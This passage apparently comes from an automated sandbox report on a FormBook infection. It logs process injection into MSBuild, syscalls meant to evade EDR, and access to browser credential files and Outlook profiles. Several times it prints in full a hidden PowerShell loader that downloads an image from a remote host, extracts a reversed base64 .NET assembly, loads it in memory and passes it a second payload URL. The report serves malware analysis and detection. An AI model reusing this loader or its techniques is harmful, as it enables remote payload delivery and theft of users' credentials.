QAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfACAAfQApAFsALQAxAC4ALgAtACgAJABzAGUAYQB3AGEAbgB0AC4ATABlAG4AZwB0AGgAKQBdADsAJABuAG8AbgBnAGEAeQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0
                  Found direct / indirect Syscall (likely to bypass EDR)
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeNtQueueApcThread: Indirect: 0x125F39AJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeNtClose: Indirect: 0x125F425
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeNtSetContextThread: Indirect: 0x1263619Jump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeNtSuspendThread: Indirect: 0x1263939Jump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeNtResumeThread: Indirect: 0x1263C59Jump to behavior
                  Injects a PE file into a foreign processes
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5AJump to behavior
                  Maps a DLL or memory area into another process
                  Source: C:\Windows\System32\wscript.exeSection loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe protection: execute and read and writeJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: NULL target: C:\Windows\SysWOW64\choice.exe protection: execute and read and writeJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeSection loaded: NULL target: C:\Windows\System32\wscript.exe protection: execute and read and writeJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeSection loaded: NULL target: C:\Windows\System32\wscript.exe protection: read writeJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeSection loaded: NULL target: C:\Windows\System32\wscript.exe protection: execute and read and writeJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read writeJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and writeJump to behavior
                  Modifies the context of a thread in another process (thread injection)
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeThread register set: target process: 7520Jump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeThread register set: target process: 7520Jump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeThread register set: target process: 3184Jump to behavior
                  Writes to foreign memory regions
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: A8E008Jump to behavior
                  Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" C:\Windows\Temp\???7????6????2????7.jsJump to behavior
                  Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\SysWOW64\choice.exe "C:\Windows\SysWOW64\choice.exe"Jump to behavior
                  Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $orgiasts = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJABsAGUAZQBjAGgAbABpAGsAZQAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAeQB0AGYAbAB0ADYAMQBuAC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADMAMQAzADQAOQA0ADcALwBiAGsAbABwAHkAcwBlAHkAZQB1AHQANABpAG0AcAB3ADUAMABuADEALgBqAHAAZwAgACcAOwAkAHAAeQByAG8AbQBhAG4AaQBhAGMAYQBsACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHMAaABhAHAAZQByAHMAIAA9ACAAJABwAHkAcgBvAG0AYQBuAGkAYQBjAGEAbAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGUAZQBjAGgAbABpAGsAZQApADsAJAB1AG4AZgBhAHQAaABvAG0AYQBiAGwAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHMAaABhAHAAZQByAHMAKQA7ACQAagBhAHAAYQBuAGkAegBlACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABkAGUAZgBpAG4AZQAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgAD0AIAAkAHUAbgBmAGEAdABoAG8AbQBhAGIAbABlAC4ASQBuAGQAZQB4AE8AZgAoACQAagBhAHAAYQBuAGkAegBlACkAOwAkAGIAbwBkAHkAcwB1AHIAZgBzACAAPQAgACQAdQBuAGYAYQB0AGgAbwBtAGEAYgBsAGUALgBJAG4AZABlAHgATwBmACgAJABkAGUAZgBpAG4AZQApADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGIAbwBkAHkAcwB1AHIAZgBzACAALQBnAHQAIAAkAHMAZQBuAHQAaQBtAGUAbgB0AGEAbABpAHMAbQBzADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgACsAPQAgACQAagBhAHAAYQBuAGkAegBlAC4ATABlAG4AZwB0AGgAOwAkAGMAcgBlAG4AZQBsAGEAdABlACAAPQAgACQAYgBvAGQAeQBzAHUAcgBmAHMAIAAtACAAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwA7ACQAcwBlAGEAdwBhAG4AdAAgAD0AIAAkAHUAbgBmAGEAdABoAG8AbQBhAGIAbABlAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAZQBuAHQAaQBtAGUAbgB0AGEAbABpAHMAbQBzACwAIAAkAGMAcgBlAG4AZQBsAGEAdABlACkAOwAkAGgAaQBsAGwAbwBjAGsAZQBkACAAPQAgAC0AagBvAGkAbgAgACgAJABzAGUAYQB3AGEAbgB0AC4AVABvAEMAaABhAHIAQQByAHIAYQB5ACgAKQAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfACAAfQApAFsALQAxAC4ALgAtACgAJABzAGUAYQB3AGEAbgB0AC4ATABlAG4AZwB0AGgAKQBdADsAJABuAG8AbgBnAGEAeQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$leechlike = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$pyromaniacal = New-Object System.Net.WebClient;$shapers = $pyromaniacal.DownloadData($leechlike);$unfathomable = [System.Text.Encoding]::UTF8.GetString($shapers);$japanize = '<<BASE64_START>>';$define = '<<BASE64_END>>';$sentimentalisms = $unfathomable.IndexOf($japanize);$bodysurfs = $unfathomable.IndexOf($define);$sentimentalisms -ge 0 -and $bodysurfs -gt $sentimentalisms;$sentimentalisms += $japanize.Length;$crenelate = $bodysurfs - $sentimentalisms;$seawant = $unfathomable.Substring($sentimentalisms, $crenelate);$hillocked = -join ($seawant.ToCharArray() | ForEach-Object { $_ })[-1..-($seawant.Length)];$nongays = [System.Convert]::FromBase64String($hillocked);$strutted = [System.Reflection.Assembly]::Load($nongays);$medicals = [dnlib.IO.Home].GetMethod('VAI');$medicals.Invoke($null, @('0/jLb7A/r/ee.etsap//:sptth', 'dobson', 'dobson', 'dobson', 'MSBuild', 'dobson', 'dobson','dobson','dobson','dobson','dobson','dobson','1','dobson'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"Jump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
                  Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $orgiasts = 'aqbmacaakaakag4adqbsagwaiaatag4azqagacqauabtafyazqbyahmaaqbvag4avabhagiabablacaalqbhag4azaagacqauabtafyazqbyahmaaqbvag4avabhagiabablac4auabtafyazqbyahmaaqbvag4aiaatag4azqagacqabgb1agwabaapacaaewagafsadgbvagkazabdacqauabtafyazqbyahmaaqbvag4avabhagiabablac4auabtafyazqbyahmaaqbvag4aiab9acaazqbsahmazqagahsaiabxahiaaqb0agualqbpahuadabwahuadaagaccauabvahcazqbyafmaaablagwabaagahyazqbyahmaaqbvag4aiaboag8adaagageadgbhagkababhagiabablaccaiab9adsaaqbmacaakaakag4adqbsagwaiaatag4azqagacqauabtafyazqbyahmaaqbvag4avabhagiabablacaalqbhag4azaagacqauabtafyazqbyahmaaqbvag4avabhagiabablac4auabtafyazqbyahmaaqbvag4aiaatag4azqagacqabgb1agwabaapacaaewagafsadgbvagkazabdacqauabtafyazqbyahmaaqbvag4avabhagiabablac4auabtafyazqbyahmaaqbvag4aiab9acaazqbsahmazqagahsaiabxahiaaqb0agualqbpahuadabwahuadaagaccauabvahcazqbyafmaaablagwabaagahyazqbyahmaaqbvag4aiaboag8adaagageadgbhagkababhagiabablaccaiab9adsajabsaguazqbjaggababpagsazqagad0aiaanaggadab0ahaacwa6ac8alwbyaguacwauagmababvahuazabpag4ayqbyahkalgbjag8abqavagqaeqb0agyabab0adyamqbuac8aaqbtageazwblac8adqbwagwabwbhagqalwb2adeanwazadmamqazadqaoqa0adcalwbiagsababwahkacwblahkazqb1ahqanabpag0acab3aduamabuadealgbqahaazwagaccaowakahaaeqbyag8abqbhag4aaqbhagmayqbsacaapqagae4azqb3ac0atwbiagoazqbjahqaiabtahkacwb0aguabqauae4azqb0ac4avwblagiaqwbsagkazqbuahqaowakahmaaabhahaazqbyahmaiaa9acaajabwahkacgbvag0ayqbuagkayqbjageabaauaeqabwb3ag4ababvageazabeageadabhacgajabsaguazqbjaggababpagsazqapadsajab1ag4azgbhahqaaabvag0ayqbiagwazqagad0aiabbafmaeqbzahqazqbtac4avablahgadaauaeuabgbjag8azabpag4azwbdadoaogbvafqarga4ac4arwblahqauwb0ahiaaqbuagcakaakahmaaabhahaazqbyahmakqa7acqaagbhahaayqbuagkaegblacaapqagaccapaa8aeiaqqbtaeuanga0af8auwbuaeeaugbuad4apganadsajabkaguazgbpag4azqagad0aiaanadwapabcaeeauwbfadyanabfaeuatgbead4apganadsajabzaguabgb0agkabqblag4adabhagwaaqbzag0acwagad0aiaakahuabgbmageadaboag8abqbhagiabablac4asqbuagqazqb4ae8azgaoacqaagbhahaayqbuagkaegblackaowakagiabwbkahkacwb1ahiazgbzacaapqagacqadqbuagyayqb0aggabwbtageaygbsagualgbjag4azablahgatwbmacgajabkaguazgbpag4azqapadsajabzaguabgb0agkabqblag4adabhagwaaqbzag0acwagac0azwblacaamaagac0ayqbuagqaiaakagiabwbkahkacwb1ahiazgbzacaalqbnahqaiaakahmazqbuahqaaqbtaguabgb0ageababpahmabqbzadsajabzaguabgb0agkabqblag4adabhagwaaqbzag0acwagacsapqagacqaagbhahaayqbuagkaegblac4atablag4azwb0aggaowakagmacgblag4azqbsageadablacaapqagacqaygbvagqaeqbzahuacgbmahmaiaatacaajabzaguabgb0agkabqblag4adabhagwaaqbzag0acwa7acqacwblageadwbhag4adaagad0aiaakahuabgbmageadaboag8abqbhagiabablac4auwb1agiacwb0ahiaaqbuagcakaakahmazqbuahqaaqbtaguabgb0ageababpahmabqbzacwaiaakagmacgblag4azqbsageadablackaowakaggaaqbsagwabwbjagsazqbkacaapqagac0aagbvagkabgagacgajabzaguayqb3ageabgb0ac4avabvaemaaabhahiaqqbyahiayqb5acgakqagahwaiabgag8acgbfageaywboac0atwbiagoazqbjahqaiab7acaajabfacaafqapafsalqaxac4algatacgajabzaguayqb3ageabgb0ac4atablag4azwb0aggakqbdadsajabuag8abgbnageaeqbzacaapqagafsauwb5ahmadablag0algbdag8abgb2aguacgb0
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "if ($null -ne $psversiontable -and $psversiontable.psversion -ne $null) { [void]$psversiontable.psversion } else { write-output 'powershell version not available' };if ($null -ne $psversiontable -and $psversiontable.psversion -ne $null) { [void]$psversiontable.psversion } else { write-output 'powershell version not available' };$leechlike = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$pyromaniacal = new-object system.net.webclient;$shapers = $pyromaniacal.downloaddata($leechlike);$unfathomable = [system.text.encoding]::utf8.getstring($shapers);$japanize = '<<base64_start>>';$define = '<<base64_end>>';$sentimentalisms = $unfathomable.indexof($japanize);$bodysurfs = $unfathomable.indexof($define);$sentimentalisms -ge 0 -and $bodysurfs -gt $sentimentalisms;$sentimentalisms += $japanize.length;$crenelate = $bodysurfs - $sentimentalisms;$seawant = $unfathomable.substring($sentimentalisms, $crenelate);$hillocked = -join ($seawant.tochararray() | foreach-object { $_ })[-1..-($seawant.length)];$nongays = [system.convert]::frombase64string($hillocked);$strutted = [system.reflection.assembly]::load($nongays);$medicals = [dnlib.io.home].getmethod('vai');$medicals.invoke($null, @('0/jlb7a/r/ee.etsap//:sptth', 'dobson', 'dobson', 'dobson', 'msbuild', 'dobson', 'dobson','dobson','dobson','dobson','dobson','dobson','1','dobson'));if ($null -ne $psversiontable -and $psversiontable.psversion -ne $null) { [void]$psversiontable.psversion } else { write-output 'powershell version not available' };if ($null -ne $psversiontable -and $psversiontable.psversion -ne $null) { [void]$psversiontable.psversion } else { write-output 'powershell version not available' };"
                  Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $orgiasts = 'aqbmacaakaakag4adqbsagwaiaatag4azqagacqauabtafyazqbyahmaaqbvag4avabhagiabablacaalqbhag4azaagacqauabtafyazqbyahmaaqbvag4avabhagiabablac4auabtafyazqbyahmaaqbvag4aiaatag4azqagacqabgb1agwabaapacaaewagafsadgbvagkazabdacqauabtafyazqbyahmaaqbvag4avabhagiabablac4auabtafyazqbyahmaaqbvag4aiab9acaazqbsahmazqagahsaiabxahiaaqb0agualqbpahuadabwahuadaagaccauabvahcazqbyafmaaablagwabaagahyazqbyahmaaqbvag4aiaboag8adaagageadgbhagkababhagiabablaccaiab9adsaaqbmacaakaakag4adqbsagwaiaatag4azqagacqauabtafyazqbyahmaaqbvag4avabhagiabablacaalqbhag4azaagacqauabtafyazqbyahmaaqbvag4avabhagiabablac4auabtafyazqbyahmaaqbvag4aiaatag4azqagacqabgb1agwabaapacaaewagafsadgbvagkazabdacqauabtafyazqbyahmaaqbvag4avabhagiabablac4auabtafyazqbyahmaaqbvag4aiab9acaazqbsahmazqagahsaiabxahiaaqb0agualqbpahuadabwahuadaagaccauabvahcazqbyafmaaablagwabaagahyazqbyahmaaqbvag4aiaboag8adaagageadgbhagkababhagiabablaccaiab9adsajabsaguazqbjaggababpagsazqagad0aiaanaggadab0ahaacwa6ac8alwbyaguacwauagmababvahuazabpag4ayqbyahkalgbjag8abqavagqaeqb0agyabab0adyamqbuac8aaqbtageazwblac8adqbwagwabwbhagqalwb2adeanwazadmamqazadqaoqa0adcalwbiagsababwahkacwblahkazqb1ahqanabpag0acab3aduamabuadealgbqahaazwagaccaowakahaaeqbyag8abqbhag4aaqbhagmayqbsacaapqagae4azqb3ac0atwbiagoazqbjahqaiabtahkacwb0aguabqauae4azqb0ac4avwblagiaqwbsagkazqbuahqaowakahmaaabhahaazqbyahmaiaa9acaajabwahkacgbvag0ayqbuagkayqbjageabaauaeqabwb3ag4ababvageazabeageadabhacgajabsaguazqbjaggababpagsazqapadsajab1ag4azgbhahqaaabvag0ayqbiagwazqagad0aiabbafmaeqbzahqazqbtac4avablahgadaauaeuabgbjag8azabpag4azwbdadoaogbvafqarga4ac4arwblahqauwb0ahiaaqbuagcakaakahmaaabhahaazqbyahmakqa7acqaagbhahaayqbuagkaegblacaapqagaccapaa8aeiaqqbtaeuanga0af8auwbuaeeaugbuad4apganadsajabkaguazgbpag4azqagad0aiaanadwapabcaeeauwbfadyanabfaeuatgbead4apganadsajabzaguabgb0agkabqblag4adabhagwaaqbzag0acwagad0aiaakahuabgbmageadaboag8abqbhagiabablac4asqbuagqazqb4ae8azgaoacqaagbhahaayqbuagkaegblackaowakagiabwbkahkacwb1ahiazgbzacaapqagacqadqbuagyayqb0aggabwbtageaygbsagualgbjag4azablahgatwbmacgajabkaguazgbpag4azqapadsajabzaguabgb0agkabqblag4adabhagwaaqbzag0acwagac0azwblacaamaagac0ayqbuagqaiaakagiabwbkahkacwb1ahiazgbzacaalqbnahqaiaakahmazqbuahqaaqbtaguabgb0ageababpahmabqbzadsajabzaguabgb0agkabqblag4adabhagwaaqbzag0acwagacsapqagacqaagbhahaayqbuagkaegblac4atablag4azwb0aggaowakagmacgblag4azqbsageadablacaapqagacqaygbvagqaeqbzahuacgbmahmaiaatacaajabzaguabgb0agkabqblag4adabhagwaaqbzag0acwa7acqacwblageadwbhag4adaagad0aiaakahuabgbmageadaboag8abqbhagiabablac4auwb1agiacwb0ahiaaqbuagcakaakahmazqbuahqaaqbtaguabgb0ageababpahmabqbzacwaiaakagmacgblag4azqbsageadablackaowakaggaaqbsagwabwbjagsazqbkacaapqagac0aagbvagkabgagacgajabzaguayqb3ageabgb0ac4avabvaemaaabhahiaqqbyahiayqb5acgakqagahwaiabgag8acgbfageaywboac0atwbiagoazqbjahqaiab7acaajabfacaafqapafsalqaxac4algatacgajabzaguayqb3ageabgb0ac4atablag4azwb0aggakqbdadsajabuag8abgbnageaeqbzacaapqagafsauwb5ahmadablag0algbdag8abgb2aguacgb0Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "if ($null -ne $psversiontable -and $psversiontable.psversion -ne $null) { [void]$psversiontable.psversion } else { write-output 'powershell version not available' };if ($null -ne $psversiontable -and $psversiontable.psversion -ne $null) { [void]$psversiontable.psversion } else { write-output 'powershell version not available' };$leechlike = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$pyromaniacal = new-object system.net.webclient;$shapers = $pyromaniacal.downloaddata($leechlike);$unfathomable = [system.text.encoding]::utf8.getstring($shapers);$japanize = '<<base64_start>>';$define = '<<base64_end>>';$sentimentalisms = $unfathomable.indexof($japanize);$bodysurfs = $unfathomable.indexof($define);$sentimentalisms -ge 0 -and $bodysurfs -gt $sentimentalisms;$sentimentalisms += $japanize.length;$crenelate = $bodysurfs - $sentimentalisms;$seawant = $unfathomable.substring($sentimentalisms, $crenelate);$hillocked = -join ($seawant.tochararray() | foreach-object { $_ })[-1..-($seawant.length)];$nongays = [system.convert]::frombase64string($hillocked);$strutted = [system.reflection.assembly]::load($nongays);$medicals = [dnlib.io.home].getmethod('vai');$medicals.invoke($null, @('0/jlb7a/r/ee.etsap//:sptth', 'dobson', 'dobson', 'dobson', 'msbuild', 'dobson', 'dobson','dobson','dobson','dobson','dobson','dobson','1','dobson'));if ($null -ne $psversiontable -and $psversiontable.psversion -ne $null) { [void]$psversiontable.psversion } else { write-output 'powershell version not available' };if ($null -ne $psversiontable -and $psversiontable.psversion -ne $null) { [void]$psversiontable.psversion } else { write-output 'powershell version not available' };"Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

                  Stealing of Sensitive Information

                  barindex
                  Yara detected FormBook
                  Source: Yara matchFile source: 8.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 8.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 00000008.00000002.1974923357.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000B.00000002.2696062707.0000000002B90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000008.00000002.1989278697.00000000012A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000B.00000002.2697311671.0000000004A70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000B.00000002.2697161668.0000000004A20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Tries to harvest and steal browser information (history, passwords, etc)
                  Source: C:\Windows\SysWOW64\choice.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local StateJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CookiesJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local StateJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                  Tries to steal Mail credentials (via file / registry access)
                  Source: C:\Windows\SysWOW64\choice.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\Jump to behavior

                  Remote Access Functionality

                  barindex
                  Yara detected FormBook
                  Source: Yara matchFile source: 8.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 8.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 00000008.00000002.1974923357.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000B.00000002.2696062707.0000000002B90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
